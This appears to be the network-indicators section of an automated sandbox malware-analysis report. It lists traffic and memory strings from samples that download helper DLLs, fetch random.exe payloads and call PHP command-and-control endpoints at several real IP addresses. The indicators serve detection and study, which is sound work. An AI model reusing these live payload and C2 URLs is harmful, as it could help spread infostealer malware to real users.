Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Tue, 12 Nov 2024 03:02:29 GMTIf-None-Match: "6732c545-1bfe00"
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

Source: 5419e88a-adc0-49ff-ae13-35268356226b.tmp.8.dr	String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)
Source: 000003.log10.8.dr, uu_host_config.8.dr	String found in binary or memory: "www.facebook.com": "{\"Tier1\": [1103, 6061], \"Tier2\": [5445, 1780, 8220]}", equals www.facebook.com (Facebook)
Source: 000003.log10.8.dr, uu_host_config.8.dr	String found in binary or memory: "www.linkedin.com": "{\"Tier1\": [1103, 214, 6061], \"Tier2\": [2771, 9515, 1780, 1303, 1099, 6081, 5581, 9396]}", equals www.linkedin.com (Linkedin)
Source: 000003.ldb.8.dr	String found in binary or memory: "www.youtube.com": "{: equals www.youtube.com (Youtube)
Source: 000003.ldb.8.dr	String found in binary or memory: "www.youtube.com": "{:1 equals www.youtube.com (Youtube)
Source: 000003.log10.8.dr, uu_host_config.8.dr	String found in binary or memory: "www.youtube.com": "{\"Tier1\": [983, 6061, 1103], \"Tier2\": [2413, 8118, 1720, 5007]}", equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com

Source: unknown

HTTP traffic detected: POST /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveContent-Length: 913sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencoded;charset=UTF-8Accept: */*Origin: chrome-untrusted://new-tab-pageX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: file.exe, 00000000.00000002.2411681140.0000000001A1E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2432797042.0000000023CE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.2432797042.0000000023CE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe(
Source: skotes.exe, 00000017.00000002.4488286299.0000000000E33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exe
Source: skotes.exe, 00000017.00000002.4488286299.0000000000E33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exeAB
Source: skotes.exe, 00000017.00000002.4488286299.0000000000DFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: skotes.exe, 00000017.00000002.4488286299.0000000000DFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe61395d
Source: f0388bf2aa.exe, 0000001D.00000002.3002668049.000000000138B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: f0388bf2aa.exe, 0000001D.00000002.3002668049.00000000013E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2411681140.00000000019A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/0-
Source: file.exe, 00000000.00000002.2411681140.00000000019A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.2411681140.00000000019A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dllv#-a
Source: file.exe, 00000000.00000002.2411681140.00000000019A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.2411681140.00000000019A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll%
Source: file.exe, 00000000.00000002.2411681140.00000000019A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dlla
Source: file.exe, 00000000.00000002.2411681140.00000000019A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.2411681140.00000000019A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.2411681140.00000000019A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.2411681140.00000000019A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll(#wa
Source: file.exe, 00000000.00000002.2411681140.0000000001A1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dllY
Source: f0388bf2aa.exe, 0000001D.00000002.3002668049.000000000138B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/7
Source: f0388bf2aa.exe, 00000018.00000002.2795084651.000000000135E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/:
Source: f0388bf2aa.exe, 0000001D.00000002.3002668049.000000000138B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/F
Source: f0388bf2aa.exe, 0000001B.00000002.2918547497.00000000016FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/J?
Source: f0388bf2aa.exe, 0000001B.00000002.2918547497.00000000016FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/M
Source: f0388bf2aa.exe, 00000018.00000002.2795084651.000000000135E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/SSC:
Source: f0388bf2aa.exe, 0000001B.00000002.2918547497.00000000016AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/Y
Source: f0388bf2aa.exe, 0000001D.00000002.3002668049.00000000013DD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/ata
Source: f0388bf2aa.exe, 0000001D.00000002.3002668049.00000000013E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: f0388bf2aa.exe, 00000018.00000002.2795084651.000000000135E000.00000004.00000020.00020000.00000000.sdmp, f0388bf2aa.exe, 0000001B.00000002.2918547497.00000000016FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/
Source: f0388bf2aa.exe, 0000001B.00000002.2918547497.00000000016AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php6
Source: f0388bf2aa.exe, 0000001D.00000002.3002668049.00000000013E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php7
Source: file.exe, 00000000.00000002.2432797042.0000000023CE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php8I
Source: f0388bf2aa.exe, 0000001D.00000002.3002668049.00000000013E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php;
Source: f0388bf2aa.exe, 0000001B.00000002.2918547497.00000000016FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpI-
Source: f0388bf2aa.exe, 00000018.00000002.2795084651.0000000001357000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpM
Source: file.exe, 00000000.00000002.2410670260.0000000000DC7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpation
Source: f0388bf2aa.exe, 0000001B.00000002.2918547497.00000000016FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpe
Source: file.exe, 00000000.00000002.2411681140.00000000019A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phphE
Source: file.exe, 00000000.00000002.2432797042.0000000023CE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpk
Source: file.exe, 00000000.00000002.2411681140.00000000019C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpsoft
Source: f0388bf2aa.exe, 00000018.00000002.2795084651.0000000001357000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpu
Source: f0388bf2aa.exe, 00000018.00000002.2795084651.0000000001357000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpy
Source: f0388bf2aa.exe, 0000001D.00000002.3002668049.00000000013E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/s.
Source: f0388bf2aa.exe, 00000018.00000002.2795084651.000000000135E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/ws
Source: f0388bf2aa.exe, 0000001D.00000002.3002668049.000000000138B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206;
Source: skotes.exe, 00000017.00000002.4488286299.0000000000E33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/
Source: skotes.exe, 00000017.00000002.4488286299.0000000000E5C000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000017.00000002.4488286299.0000000000DAB000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000017.00000002.4488286299.0000000000E19000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000017.00000002.4488286299.0000000000E33000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000017.00000002.4488286299.0000000000DFE000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000017.00000002.4488286299.0000000000E6C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000017.00000002.4488286299.0000000000E19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php-
Source: skotes.exe, 00000017.00000002.4488286299.0000000000E19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php2001
Source: skotes.exe, 00000017.00000002.4488286299.0000000000E5C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpT
Source: skotes.exe, 00000017.00000002.4488286299.0000000000E19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpUsers
Source: skotes.exe, 00000017.00000002.4488286299.0000000000DFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpc
Source: skotes.exe, 00000017.00000002.4488286299.0000000000E5C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpdedF
Source: skotes.exe, 00000017.00000002.4488286299.0000000000E33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpnI
Source: skotes.exe, 00000017.00000002.4488286299.0000000000E5C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncoded
Source: skotes.exe, 00000017.00000002.4488286299.0000000000E5C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncoded?
Source: skotes.exe, 00000017.00000002.4488286299.0000000000E19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpnu
Source: skotes.exe, 00000017.00000002.4488286299.0000000000E33000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/lfons
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
